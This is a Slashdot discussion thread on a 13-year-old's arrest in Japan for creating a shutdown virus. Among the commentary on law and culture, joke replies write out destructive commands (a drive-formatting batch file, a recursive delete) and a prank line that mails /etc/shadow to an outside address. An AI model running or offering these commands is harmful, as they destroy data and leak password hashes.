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Japanese 13-Year-Old Arrested For Virus Creation

timothy posted more than 2 years ago | from the at-least-it's-not-singapore dept.

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An anonymous reader writes "Last year, Japan criminalized virus creation and just saving a virus on [one's] own computer. According to Yomiuri Shimbun, Kyoto police have arrested a 13-year-old (Japanese language original), second grade of junior high school student from Tokyo, for allegedly creating a computer shutdown virus and operating an exchange board of hackers. Kyoto police also arrested a 23-year-old construction worker for allegedly teaching how to make a virus on their board and saving a virus on his computer."

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It wasn't me. (0)

Anonymous Coward | more than 2 years ago | (#40557081)

It was the auto-save that kicked in, I swear it your honor!

Should have known better (1)

noh8rz4 (2667697) | more than 2 years ago | (#40557089)

Can,t say I'm surprised. If I were outside the US,, I'd be wary about things that the bill of rights would protect me from stateside. Think twice ,I guess.

Re:Should have known better (-1)

Squiddie (1942230) | more than 2 years ago | (#40557317)

As much as some hate to admit this, it's true. Some things that are protected here in the US just aren't in other countries, and some are downright awful.

Re:Should have known better (4, Funny)

ackthpt (218170) | more than 2 years ago | (#40557511)

As much as some hate to admit this, it's true. Some things that are protected here in the US just aren't in other countries, and some are downright awful.

Yeah, the US is falling so far behind .. a 13 year old can create a virus in Japan, but US kids take years more to reach that level and some people think that's alright. Time for another big Education push ...

Get the Etch-A-Sketches out and start over

Re:Should have known better (1)

Anonymous Coward | more than 2 years ago | (#40558015)

when i was 13 i was scanning for weak nt passes and installing litmus bots to meet on a french ircd i had setup. all for the sake of showing my friends i could disconnect them from AIM any time i wanted, all i had to do was open a dcc send a pic or something get the ip and and let the ddos commence. when i was 14 i was hacking for a fxp group. just because your kids are dumb doesn't mean we all are. i only stopped because i no longer fell under the can't be tried as adult thing :D

Re:Should have known better (0)

Anonymous Coward | more than 2 years ago | (#40559311)

when i was 13 i was scanning for weak nt passes and installing litmus bots to meet on a french ircd i had setup. all for the sake of showing my friends i could disconnect them from AIM any time i wanted, all i had to do was open a dcc send a pic or something get the ip and and let the ddos commence. when i was 14 i was hacking for a fxp group. just because your kids are dumb doesn't mean we all are. i only stopped because i no longer fell under the can't be tried as adult thing :D

So, did you finally became older than 13 or 14? With your sms-based writing style, I can't tell.

Re:Should have known better (4, Interesting)

jmerlin (1010641) | more than 2 years ago | (#40559847)

I wrote a virus when I was under 15 (too long ago to tell my exact age). It wasn't fancy, it basically disabled lots of stuff in Windows (98 at the time, and by overwriting parts of the PE header in a bunch of system files) and added itself to start on launch (before the login screen) so it would BSOD every boot unless you had a special key written in a file named "C:\opensesame.txt". I also wrote a little tool to remove it. It would attempt to copy itself to every bootable device plugged into the system (by adding an autorun.inf entry for it, back when EVERYTHING you plugged into your computer executed the autorun by default, lol). I made a few other things like tools that made the system unusable until I pressed a secret key-combo and unlocked the computer, but most were less virus-ey and more securit-ey; at least they worked when anyone could use a floppy recovery disk to overwrite your password in your SAM file. Hell, once my mom tried to put one of those commercial computer "security" apps on the computer that required a password before the login-screen would be shown, you know, to keep me from using the computer and doing my ever-so-important pre-algebra or learning where commas should go in a sentence and how to not write run-on sentences etc. With what I knew, I just booted into an MS-DOS prompt and found the exe it was running (it was conspicuously named and under program files, lol?) and renamed it so it would fail to launch and happily continued using the computer.

I started doing this after having an old DOS system I had infected by a bootsector virus. I researched it, and what it did on floppy drives to spread, and I was completely fascinated by the idea of writing software to "do bad things." It had never occurred to me. I wasn't too interested in writing the software to maliciously damage others' systems, rather just to disable my own and then fix it. And this fascination eventually lead to me learning, on my own, X86 assembly in 9th grade and getting into reverse-code-engineering and malware analysis (which is a big hobby of mine these days, not my profession). The success of seeing someone else do something that seemed completely impossible and learning how they did it lead me to do the same in other aspects of my life. I saw both XQZ and Viper-G in half-life based games and I was fascinated, leading me to read the source of similar cheats and write my own (that was one of favorite hobbies), along with writing bots and trying to (unsuccessfully, usually) write emulators for game servers. All the while I kept learning more than I would ever learn in school, and only because I saw a virus destroy my old MS-DOS machine and I was free to be curious and investigate.

I don't see how that's a bad thing for a kid to do, at the very least to explore security issues with their own system, so they can better understand just how vulnerable they are and what they can actually do with a computer. Computers are enormously powerful machines. To confine people to using programs written by others is such an abuse of how awesome they are.

Re:Should have known better (1)

NemosomeN (670035) | more than 2 years ago | (#40557529)

Interesting statement considering we Americans wrote the Japanese constitution. It's more likely supreme court rulings that set us apart.

Re:Should have known better (4, Insightful)

RKBA (622932) | more than 2 years ago | (#40558497)

Neither the US Constitution [usconstitution.net] nor the Bill of Rights protect you from anything at all, since they are merely historical pieces of hemp paper that our federal government has been completely ignoring for a long, long time. The Constitution was written in plain simple language so that everyone could read and understand it. They expected the people to read it and understand their unalienable rights and the restrictions placed on the federal government by the Constitution -- but most importantly they expected the people to enforce the Constitution, which is one of the reasons they were vehemently opposed to a large standing government army and preferred a militia composed of the people.

Re:Should have known better (2)

Archangel Michael (180766) | more than 2 years ago | (#40558749)

But the Government is promising me FREE STUFF (TM) therefore we the people ignore the Constitution. Never mind all that free stuff comes at a cost (taxes, freedom etc) it is FREE STUFF (TM) !!!!

Sony (5, Insightful)

Anonymous Coward | more than 2 years ago | (#40557123)

Time to go arrest Sony's Execs for their rootkits.

Re:Sony (-1)

Anonymous Coward | more than 2 years ago | (#40557177)

Holy shit, let it go. This hasn't been funny or clever for years. You just sound like a sperglord.

Re:Sony (3, Interesting)

Anubis IV (1279820) | more than 2 years ago | (#40557249)

Who said anything about funny? And something need not be clever to be true or worthy of repeating. You just sound like a Sony apologist.

Re:Sony (1)

NemosomeN (670035) | more than 2 years ago | (#40557543)

Shall we punish them retroactively then? This is a new law, after all.

Re:Sony (4, Funny)

amicusNYCL (1538833) | more than 2 years ago | (#40557677)

Shall we punish them retroactively then?

Retroactively, proactively, radioactively, whatever it takes.

Re:Sony (0)

Anonymous Coward | more than 2 years ago | (#40557891)

What about rectum-actively?

Re:Sony (1)

jank1887 (815982) | more than 2 years ago | (#40558541)

hmm... if I find an old copy of a CD with the rootkit on it, and it installs today after the law takes hold... what does the letter of the law say for that case? (sure, the intent might be to punish 'creation', but I wouldn't be surprised to see this slip through some poorly worded section...)

Re:Sony (1)

bryan1945 (301828) | more than 2 years ago | (#40559237)

This was my thought when I read "or saving a virus on your computer." If you get infected, have you saved it? Intent and execution of a law do not necessarily cross paths.

Re:Sony (1)

interval1066 (668936) | more than 2 years ago | (#40557465)

I thought OP's comment rather aprirose myself.

Re:Sony (0)

Anonymous Coward | more than 2 years ago | (#40557513)

What is aprirose???

Re:Sony (0)

Anonymous Coward | more than 2 years ago | (#40557611)

"apropos" = very appropriate to a particular situation.

Re:Sony (1)

gtall (79522) | more than 2 years ago | (#40557609)

Even apropos as well, eh? Being a techi

Re:Sony (1)

amicusNYCL (1538833) | more than 2 years ago | (#40557669)

Holy shit, let it go.

Never!

Re:Sony (1)

OldSport (2677879) | more than 2 years ago | (#40557499)

About as likely as George Bush arresting Dick Cheney for war crimes.

Re:Sony (1)

bryan1945 (301828) | more than 2 years ago | (#40559255)

He's afraid he'd shot in the face.

Re:Sony (5, Insightful)

kelemvor4 (1980226) | more than 2 years ago | (#40557601)

Time to go arrest Sony's Execs for their rootkits.

If Japan is anything like the USA, then corporations are above the law unless they start to become unprofitable for the shareholders.

Re:Sony (1)

RabidReindeer (2625839) | more than 2 years ago | (#40558983)

Time to go arrest Sony's Execs for their rootkits.

If Japan is anything like the USA, then corporations are above the law unless they start to become unprofitable for the shareholders.

You make corporations sound democratic. They are not. Relatively few persons and/or investment companies typically hold the majority shares in most US companies. Few enough that any recourse is not going to come from a lot of unhappy people, just a few people in the right place, and it's generally not going to come via criminal proceedings. Any legal actions taken are probably going to be in the form of personal lawsuits.

So any criminal prosecution is unlikely to be initiated on behalf specifically of the shareholders or relate specifically to profitability.

Lack of prosecution, on the other hand, often has to do with how often the big shareholders play golf with Attorneys General.

Re:Sony (0)

Anonymous Coward | more than 2 years ago | (#40558281)

Time to go arrest Sony's Execs for their rootkits.

This kid has a job offer lined up to be Sony's new CIO

Re:Sony (0)

Anonymous Coward | more than 2 years ago | (#40559025)

Time to go arrest Sony's Execs for their rootkits.

Grow up kid. If all you can do is run around the net and look for any and all chance to take a jab at sony then you need to get out of your parents basement and go out in the world. I know you think youre being snarky, smart, and savvy but really its pretty pathetic at the people who have nothing better to do than make comments about sony in regards to a story that has NOTHING TO DO WITH THEM. Thats petty, childish and immature.

Re:Sony (0)

Anonymous Coward | more than 2 years ago | (#40559239)

http://www.youtube.com/watch?v=9iUvuaChDEg

Geohot -- The Light It Up Contest

Re:Sony (0)

Anonymous Coward | more than 2 years ago | (#40559569)

Thats petty, childish and immature.

That reminds me of Sony.

Quick on their feet. (0)

Anonymous Coward | more than 2 years ago | (#40557125)

If only the /. 'editors' were so zealous.

Editors??? What is this I don't even (0)

qwe4rty (2599703) | more than 2 years ago | (#40557127)

Does no one proof read? This is painful to read

Re:Editors??? What is this I don't even (1)

mkraft (200694) | more than 2 years ago | (#40557147)

Maybe it was translated from Japanese?

Obviously... (0)

Anonymous Coward | more than 2 years ago | (#40557149)

...the virus affects spelling and grammar checkers.

Re:Editors??? What is this I don't even (1)

Lumpio- (986581) | more than 2 years ago | (#40557181)

It's a Google Translate link. What did you expect?

Re:Editors??? What is this I don't even (1)

phaedrus5001 (1992314) | more than 2 years ago | (#40557613)

That the editors would, you know, edit?

Re:Editors??? What is this I don't even (1)

robthebloke (1308483) | more than 2 years ago | (#40557971)

I think I'd prefer the google translate version + original text, tbh. When was the last time you ever heard of someone attending the princes ball in a glass slipper? I think the editors did the right thing here. Stick a link to the original, and give us a google translation. I haven't got a clue what the original japanese says, so I don't think I should be attempting to correct it to what sounds right to me. I might accidentally mis-translate 'felt' for 'glass' for example.....

Re:Editors??? What is this I don't even (0)

Anonymous Coward | more than 2 years ago | (#40557581)

Sure it might be bad, but if your unable to figure out what was saying in the paragraph then you might have ocd or something. Your brain should pretty much "auto-correct" bad grammar or spelling for you. If your having that much trouble than I think have a problem.

P.S. I also left out two words on purpose. Think of it as an exercise to have your head put information in where it is missing

Re:Editors??? What is this I don't even (0)

Anonymous Coward | more than 2 years ago | (#40557969)

...than I think

You also don't know the difference between then and than - you from Japan?

CAPTCHA = emerald (nice, a jewel of a comment)

Translation of linked article (5, Informative)

schnipschnap (739127) | more than 2 years ago | (#40557695)

Provided to you with much <3.

Under the suspicion of having created a computer virus, Kyoto Prefectural Police have taken into custody a 13-year-old eighth-grader living in Tokyo, Akiruno City, and notified the children's welfare center, based on the youth's misconduct of virus creation (skipping translation of official name of crime, which is provided here as well).

According to the announcement, a male student created a virus last year, on August 5, that forcibly shuts down computers. His deed has been recognized as a misconduct/misdemeanor.

The male student was at the helm of a membership-based site where hackers exchange information. "I was interested in hacking and wanted to study hacking, and created the site in August last year," he explains.

Kyoto Prectural Police have also arrested a suspect, a 23-year-old contruction worker from East Yamato City in Tokyo (name is in the article, but I don't agree that it should be published at this stage so I won't romanize it. Google Translate probably did it anyway though), who gave technical lessons on that site, under the suspicion that he had stored a virus on his home computer that deletes files on computers without permission.

(July 5, 2012, Yomiuri-Shimbun)

Re:Translation of linked article (0)

Anonymous Coward | more than 2 years ago | (#40558111)

"According to the announcement, a male student created a virus last year, on August 5, that forcibly shuts down computers. His deed has been recognized as a misconduct/misdemeanor."

Wait... so he created it when he was actually 12?

Let me guess... (1)

BitterOak (537666) | more than 2 years ago | (#40557135)

Let me guess... English isn't the the submitter's first language. Can't the editors at least clean that up a bit?

Re:Let me guess... (5, Funny)

Oh Gawwd Peak Oil (1000227) | more than 2 years ago | (#40557189)

Maybe it was, in fact, perfect English when it was submitted . . . before the Slashdot "editors" got to it?

Re:Let me guess... (0)

Anonymous Coward | more than 2 years ago | (#40557239)

Learn some other language then and post something we need some laugh or just practice reading english stop complaining

it's a self installing remote administration tool (4, Funny)

gl4ss (559668) | more than 2 years ago | (#40557139)

it's a self installing remote administration tool, not a virus.

anyhow.. what are they going to do to the kid? if japan is anything like west, they'd have to show damages and could only sue for those since he's just a kid.

or do they execute retard kids for being teens?

Re:it's a self installing remote administration to (3, Informative)

AliasMarlowe (1042386) | more than 2 years ago | (#40557381)

or do they execute retard kids for being teens?

Of course not! Execution is for confessed and convicted criminals of the lowest order. Those who are merely dishonored are permitted to commit seppuku [wikipedia.org] and thus restore their honor.

Re:it's a self installing remote administration to (1)

amicusNYCL (1538833) | more than 2 years ago | (#40557699)

it's a self installing remote administration tool, not a virus.

Is that what we're calling viruses these days? The terminology is so hard to keep up with.

Re:it's a self installing remote administration to (1)

v(*_*)vvvv (233078) | more than 2 years ago | (#40558839)

They will send him to jail. Damages are a civil matter. In Japan, they made this stuff criminal. He isn't been sued, he is being arrested.

http://www.dailymail.co.uk/news/article-2005891/Japan-passes-law-viruses-spam-emails-carrying-years-jail-time.html [dailymail.co.uk]

Summary is informative and accurate (0)

Anonymous Coward | more than 2 years ago | (#40557155)

[quote]"allegedly teaching a how to make a virus on their board and saved a virus on his computer."[/quote]
Using google translate, I see. Why for editors not post check computer happy?

That's all well and good... (0)

Anonymous Coward | more than 2 years ago | (#40557161)

...but who's going to arrest the slashdot editor who let this butchery of a summary get through?

Let's see if I can fix this mess:

Last year, Japan criminalized virus creation and even just saving a virus on your own computer. According to Yomiuri Shimbin, Kyoto police have arrested a 13-year-old (Japanese language article), second-year junior high school student from Tokyo for allegedly creating a virus that shuts down computers and operating an exchange board for hackers. Kyoto police also arrested a 23-year-old construction worker for allegedly teaching people how to make a virus on that same exchange board and saving a virus onto his own computer.

Wait (1)

circletimessquare (444983) | more than 2 years ago | (#40557195)

Is this the plot of some manga masquerading as news?

When do the cyborg rape octopuses show up?

even just saving a virus? so jail time for downloa (1)

Joe_Dragon (2206452) | more than 2 years ago | (#40557199)

even just saving a virus? so jail time for downloading / passing spyware, carp ware, virus?

So you can go to jail just by picking up some drive by virus?

Re:even just saving a virus? so jail time for down (1)

blackest_k (761565) | more than 2 years ago | (#40557785)

what happens when avg or similar puts it in the virus vault, guilty?

BAT Virus (5, Funny)

Metabolife (961249) | more than 2 years ago | (#40557217)

If you're from Japan, do this:

Open notepad and type these lines in.
echo off
cls
echo y|format C:

Now save this file as virus.bat.

Next, go to jail.

Re:BAT Virus (1, Funny)

rrohbeck (944847) | more than 2 years ago | (#40557739)

Hmm, didn't work:

rrohbeck@eee:~$ echo off
off
rrohbeck@eee:~$ cls
No command 'cls' found, but there are 18 similar ones
cls: command not found
rrohbeck@eee:~$ echo y|format C:
No command 'format' found, did you mean:
  Command 'mformat' from package 'mtools' (main)
  Command 'hformat' from package 'hfsutils' (main)
format: command not found
rrohbeck@eee:~$

Re:BAT Virus (0)

Anonymous Coward | more than 2 years ago | (#40557993)

cat /etc/shadow | mail thanksfortheintel@mailinator.com

Re:BAT Virus (0)

Anonymous Coward | more than 2 years ago | (#40559113)

coward@acbox:~ % cat /etc/shadow | mail thanksfortheintel@mailinator.com
    cat: /etc/shadow: Permission denied

So CLOSE to world domination!

Try this. (-1)

Anonymous Coward | more than 2 years ago | (#40558051)

rm C: *.* -r -f

And I'll agree with you. Linux IS more efficient than windows. At everything. Go give that one a try.

Re:BAT Virus (1)

David89 (2022710) | more than 2 years ago | (#40559103)

You skipped "Open notepad and type these lines in."

Re:BAT Virus (0)

Anonymous Coward | more than 2 years ago | (#40558161)

that should be:
@echo off

Typical scrub-nub.

Re:BAT Virus (0)

Anonymous Coward | more than 2 years ago | (#40559133)

Send this to the Japanese police and tell them to arrest themself for saving a virus on their computer.

Re:BAT Virus (0)

Anonymous Coward | more than 2 years ago | (#40559157)

test the law further.

memorize this...virus, right?

recite it in public.

next, announce you have memorized a virus program, and say you are ACTIVELY THINKING ABOUT IT RIGHT NOW, AND HOW IT COULD BE WRITTEN DOWN AND SENT OUT TO DO DAMAGE.

thoughtcrime

qed

Japan amazes me.. (4, Interesting)

goruka (1721094) | more than 2 years ago | (#40557229)

It's hard to believe that a country as rich, so advanced technologically, with such brilliant and creative minds can pass laws like this. Japan also has a long list of restrictive laws such as ban on weapons, super strong copyright protection with criminal punishment, ban on genitals in pornography, or naked underage kids in manga/anime. When I was studying japanese, I remember my teacher (also japanese) told me that Japan is one of the very few cultures where the population never rioted against the oppressive ruling class, which is why he believed that even nowadays people is very submissive to the point that corporations act almost like feuds, and rarely complain about what they dislike (except on internet forums).

Re:Japan amazes me.. (0)

Anonymous Coward | more than 2 years ago | (#40557345)

you forgot to tie in radiation somehow in your post, -5 points

Re:Japan amazes me.. (1)

Anonymous Coward | more than 2 years ago | (#40557421)

The idea of Japan being "Advanced" is largely a myth. Perhaps they were in the 80s, 90's, and in to the early 00's.
That's only because Japan itself was the head of R&D, manufacturing, game making, etc. The rest of the world has caught up and innovations are happening elsewhere. Combine that with the Japanese problem of severe xenophobia and "Not invented here" syndrome and you have a country that no longer leads where they used to.

Take the Japanese video game market. A decade ago they were doing well, and a decade before that they were they only game in town. Today? Complete and utter stagnation. All Japanese games are clones of the previous game, with ever more girly and effeminate male characters.Outside of a few fighting game franchises, which are pretty much a niche maket today, Japan exports very few games. Nintendo you say? What if I told you that most of Ninendo's games are actually made by western companies under contract?

Doesn't even need to look that far (1)

ub3r n3u7r4l1st (1388939) | more than 2 years ago | (#40557489)

Across the sea, South Korea is already ahead of Japan in terms of automobiles, video games, soap opera etc. , all comes without the xenophobia.

Re:Doesn't even need to look that far (4, Insightful)

Rinikusu (28164) | more than 2 years ago | (#40557709)

As a South Korean American, I can assure you xenophobia/racism is alive and well in Korea.

Re:Doesn't even need to look that far (0)

Anonymous Coward | more than 2 years ago | (#40557945)

Speaking of: Are there many Mien there? I had a mien buddy who kept being asked if he was Korean by the staff at a local Korean restraunt.

Re:Doesn't even need to look that far (0)

Anonymous Coward | more than 2 years ago | (#40557779)

Without the xenophobia? All it takes is a google search of 'korea xenophobia' to show you any number of examples, the latest I can think of being the harassment of Jasmine Lee. Japan might be xenophobic as well, but Korea is just as bad if not worse.

Re:Doesn't even need to look that far (0)

Anonymous Coward | more than 2 years ago | (#40558679)

I cant blame them... Xenos scare the shit out of me!

Re:Doesn't even need to look that far (3, Insightful)

K. S. Kyosuke (729550) | more than 2 years ago | (#40557921)

"Korea without xenophobia" makes about as much sense as "Germany without beer".

Re:Japan amazes me.. (0)

Anonymous Coward | more than 2 years ago | (#40558401)

Today? Complete and utter stagnation. All Japanese games are clones of the previous game, with ever more girly and effeminate male characters

You mean... like the entire rest of the gaming industry?

Or is Call of Medal of Battlehonor XVI completely innovative, and dare I say, game-changing?

Re:Japan amazes me.. (5, Informative)

bargainsale (1038112) | more than 2 years ago | (#40557527)

The population of Japan frequently rioted against the oppressive ruling class. For example
http://en.wikipedia.org/wiki/Bakumatsu#Economic_and_social_crisis [wikipedia.org]
and many other examples throughout Japanese history.

Your teacher may have been Japanese, but they can't have known much history...

Re:Japan amazes me.. (0)

Anonymous Coward | more than 2 years ago | (#40557573)

When I was studying japanese, I remember my teacher (also japanese) told me that Japan is one of the very few cultures where the population never rioted against the oppressive ruling class

Then your teacher apparently didn't study Japanese history.

Re:Japan amazes me.. (1)

gtall (79522) | more than 2 years ago | (#40557649)

So, you're saying corporations are going on vendettas against the people? Those bastards!

And the virus's name was (1)

obarthelemy (160321) | more than 2 years ago | (#40557235)

Cooties !

Re:And the virus's name was (1)

ackthpt (218170) | more than 2 years ago | (#40557549)

Cooties !

Howzabout Mt. Foojies?

OP Spreading FUD and Propaganda (0)

Anonymous Coward | more than 2 years ago | (#40557241)

OP left out that the crime requires a mental state (i.e., "without reasonable cause" such as a criminal purpose). It is not a strict liability offense.

And yes, if you create it expressly and soley for a criminal purpose, but "just save it on your own computer" it should be a crime. Do you really believe they should wait until it does damage to arrest (e.g., steals credit card info and uses, spams a ton of crap)?

Stop with the FUD and propaganda already....geez.
Source:
http://techland.time.com/2011/06/17/japan-criminalizes-cybercrime-make-a-virus-get-three-years-in-jail/

Re:OP Spreading FUD and Propaganda (1)

zlives (2009072) | more than 2 years ago | (#40557607)

wonder what happens when toyota makes a car capable of breaking speed laws...
i am sure it was intentionally made to go over the speed limit!!!

Re:OP Spreading FUD and Propaganda (5, Insightful)

similar_name (1164087) | more than 2 years ago | (#40557871)

Do you really believe they should wait until it does damage to arrest (e.g., steals credit card info and uses, spams a ton of crap)?

Personally, I do believe a crime has not happened until it affects another person.

Re:OP Spreading FUD and Propaganda (0)

Anonymous Coward | more than 2 years ago | (#40558707)

the earth can only sustain so many oxygen breathers. your crime, un liscensed breathing, book em danno.

Re:OP Spreading FUD and Propaganda (1)

bryan1945 (301828) | more than 2 years ago | (#40559315)

Yep, I got this shielded personal nuke in my garage and plans of the White House. It's all cool, since I'm not affecting anyone yet.

Re:OP Spreading FUD and Propaganda (0)

Anonymous Coward | more than 2 years ago | (#40559597)

Yep, I got this shielded personal nuke in my garage and plans of the White House. It's all cool, since I'm not affecting anyone yet.

I wouldn't tell anyone, sounds like a good plan.

Re:OP Spreading FUD and Propaganda (1)

flimflammer (956759) | more than 2 years ago | (#40558699)

And yes, if you create it expressly and soley for a criminal purpose, but "just save it on your own computer" it should be a crime. Do you really believe they should wait until it does damage to arrest (e.g., steals credit card info and uses, spams a ton of crap)?

So we should be arresting people for thought crimes now? Saving it to your computer does not show intent to commit a crime any more than buying a new set of steak knives shows intent to murder your wife for cheating on you with the gardener.

Viruses save themselves (1)

Hentes (2461350) | more than 2 years ago | (#40557445)

The point of viruses is that they either trick the user into saving them or get on the computer through an exploit, in neither case did the owner deliberately want it to be saved.

One thing's for sure: (0)

Anonymous Coward | more than 2 years ago | (#40557451)

Google's not going to take away my job as a Japanese-English translator anytime soon.

What about Eicar? (0)

Anonymous Coward | more than 2 years ago | (#40557459)

So, what the hell do they do with Eicar? ...and what about Japanese virus protection software companies...do they have *real* viri to test with?

Re:What about Eicar? (0)

Anonymous Coward | more than 2 years ago | (#40557567)

Maybe I was a bit too cryptic....the Eicar test file...for testing anti-virus software. You can find the exact contents of the file on the Eicar site...any file that starts with that content...and is the right size...is considered a virus by anti-virus software...soooooooo.....what do the Japanese do about the virus that is not a virus?

But but but ... where are all the posts ... (-1, Troll)

Tim Ward (514198) | more than 2 years ago | (#40557579)

... from diehard slashweenies crying out that "information is born to be free" and arguing for the freedom to pass around open source virus toolkits?

Re:But but but ... where are all the posts ... (0)

Anonymous Coward | more than 2 years ago | (#40558847)

sadly the slashweenie was really a hive of semi-autonamous chatbots that well looked too suspicious and the controller quit their side job of sustaining weenie level whining.

He created a shortcut (2)

srussia (884021) | more than 2 years ago | (#40557615)

"shutdown -s -t 0"

Re:He created a shortcut (1)

Zantetsuken (935350) | more than 2 years ago | (#40558025)

Depending on the definition, a lot of simple administrative stuff built into modern OS'es would qualify as a virus.

*nix:
user@host $ ssh hostb "uname -n"

MS Powershell 2.0 (Vista and up)
PS C:\users\user> invoke-command -credential username -computername hostb -ScriptBlock {get-content env:computername}

Passing law is so awkward (2)

anubi (640541) | more than 2 years ago | (#40557623)

We sure try to control this awkwardly...

Its like passing law trying to keep pranksters from setting grass-thatch outhouses on fire for the fun of it.

Personally, I would teach the complainants how to use cinder blocks to construct an outhouse.

I still believe all these backdoors in commercial software OS offerings are due to way too much complexity and trying to be everything for everybody. I firmly believe a small compact well-understood kernel, such as uCOS/2 [micrium.com] could be the core of a GUI front-end for a secure system.

If a limited number of known file formats for multimedia and data exchange are supported, data-only - no embedded executables - then vectors for viral infection are nipped in the bud.

The whole OS should be in ROM, so that once installed, it can't be changed. Flash with write disabled by physical jumper would be great for this. One could physically place the jumper or close a physical switch to allow upgrade of the OS. Yes, it would involve user responsibility. And require standardized interface protocols - which means a lot of IP law has to be changed to hold interface protocols free from legal hostage.

All this "remote administration" stuff gives me the willies, especially when people who can barely figure out how to turn the power onto the machine can pass control of that machine to anyone in the "cloud".

Early-teens computer genius? I know who this is... (3, Funny)

Dogtanian (588974) | more than 2 years ago | (#40557627)

The article says that the 13-year-old computer hacker in question was male, but I strongly suspect they were thrown by her name [wikipedia.org] and strange androgynous appearance [google.co.uk] .

In other news... (4, Funny)

Lendrick (314723) | more than 2 years ago | (#40557725)

...computer security experts flee Japan.

you mean like this (0)

Anonymous Coward | more than 2 years ago | (#40557797)

https://www.uha1.com/CHRONOSS/TESTDESIGN/archives3/

ya awful i have so much knowledge at my finger tips that keeps these dummy corporates on there toes and this is the 3rd archive and oldest , ive moved the other 2 for the time being....private members only ( only a few thousand close friends ....no worries HONEST )

frRost Pist (-1)

Anonymous Coward | more than 2 years ago | (#40558385)

Construction (0)

Anonymous Coward | more than 2 years ago | (#40559121)

Its a shame someone has to work in construction, when they clearly have the talent to create software. Didn't go to the right school or have the right parents or something? (that's assuming construction wasn't actually the preferred option - better hours, exercise, etc ;) )

Guilty as charged (0)

Anonymous Coward | more than 2 years ago | (#40559123)

I must be guilty. I have an active directory server that shuts down the kids' PCs at 1:00 am during the school year. This must be shutdown virus as the kids don't like this behavior. Never mind the fact that these are all my machines, my script, and my server on my LAN.

Sounds like Cisco/Linksys monitoring internal private networks might pay off for them.

You better skip over my work networks though, they are controlled by various government agencies that might not like such intrusions. Oh wait, they are guilty as well: they use similar scripts to reboot servers, switches, routers, and apply updates.

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